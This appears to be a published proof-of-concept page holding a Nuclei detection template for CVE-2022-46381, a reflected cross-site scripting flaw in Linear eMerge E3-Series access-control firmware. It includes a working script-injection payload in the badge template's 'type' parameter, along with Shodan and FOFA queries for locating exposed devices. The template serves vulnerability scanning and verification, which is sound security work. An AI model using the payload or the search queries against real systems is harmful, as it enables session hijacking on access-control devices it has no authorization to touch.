Linear eMerge E3-Series devices contain a cross-site scripting vulnerability via the type parameter, e.g., to the badging/badge_template_v0.php component. An attacker can inject arbitrary script in the browser of an unsuspecting user in the context of the affected site and thus steal cookie-based authentication credentials and launch other attacks. This affects versions 0.32-08f, 0.32-07p, 0.32-07e, 0.32-09c, 0.32-09b, 0.32-09a, and 0.32-08e.
PoC代码[已公开]
id: CVE-2022-46381
info:
name: Linear eMerge E3-Series - Cross-Site Scripting
author: arafatansari
severity: medium
description: |
Linear eMerge E3-Series devices contain a cross-site scripting vulnerability via the type parameter, e.g., to the badging/badge_template_v0.php component. An attacker can inject arbitrary script in the browser of an unsuspecting user in the context of the affected site and thus steal cookie-based authentication credentials and launch other attacks. This affects versions 0.32-08f, 0.32-07p, 0.32-07e, 0.32-09c, 0.32-09b, 0.32-09a, and 0.32-08e.
impact: |
Successful exploitation of this vulnerability could allow an attacker to execute arbitrary script code in the context of a victim's browser, leading to session hijacking, defacement, or theft of sensitive information.
remediation: |
Apply the latest security patch or update provided by the vendor to fix the XSS vulnerability in the Linear eMerge E3-Series.
reference:
- https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2022-46381
- https://github.com/omarhashem123/Security-Research/blob/main/CVE-2022-46381/CVE-2022-46381.txt
- https://nvd.nist.gov/vuln/detail/CVE-2022-46381
- https://github.com/amitlttwo/CVE-2022-46381
- https://github.com/k0mi-tg/CVE-POC
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
cvss-score: 6.1
cve-id: CVE-2022-46381
cwe-id: CWE-79
epss-score: 0.7402
epss-percentile: 0.98788
cpe: cpe:2.3:o:niceforyou:linear_emerge_e3_access_control_firmware:0.32-07e:*:*:*:*:*:*:*
metadata:
verified: true
max-request: 1
vendor: niceforyou
product: linear_emerge_e3_access_control_firmware
shodan-query:
- http.html:"Linear eMerge"
- http.html:"linear emerge"
fofa-query: body="linear emerge"
tags: cve,cve2022,xss,emerge,linear,niceforyou
http:
- method: GET
path:
- '{{BaseURL}}/badging/badge_template_v0.php?layout=1&type="/><svg/onload="alert(document.domain)"/>'
matchers-condition: and
matchers:
- type: word
words:
- '<svg/onload="alert(document.domain)"/>'
- 'Badging Template'
condition: and
- type: status
status:
- 200
# digest: 4b0a00483046022100c1d271ecb7abaee01e6ef9dd7746c9bf3a36180c044e15a7e889030bb6105fc1022100d05831b39f5f15c18f6e47b307bfbc7b5c486fa46861579763cdefb969899d25:922c64590222798bb761d5b6d8e72950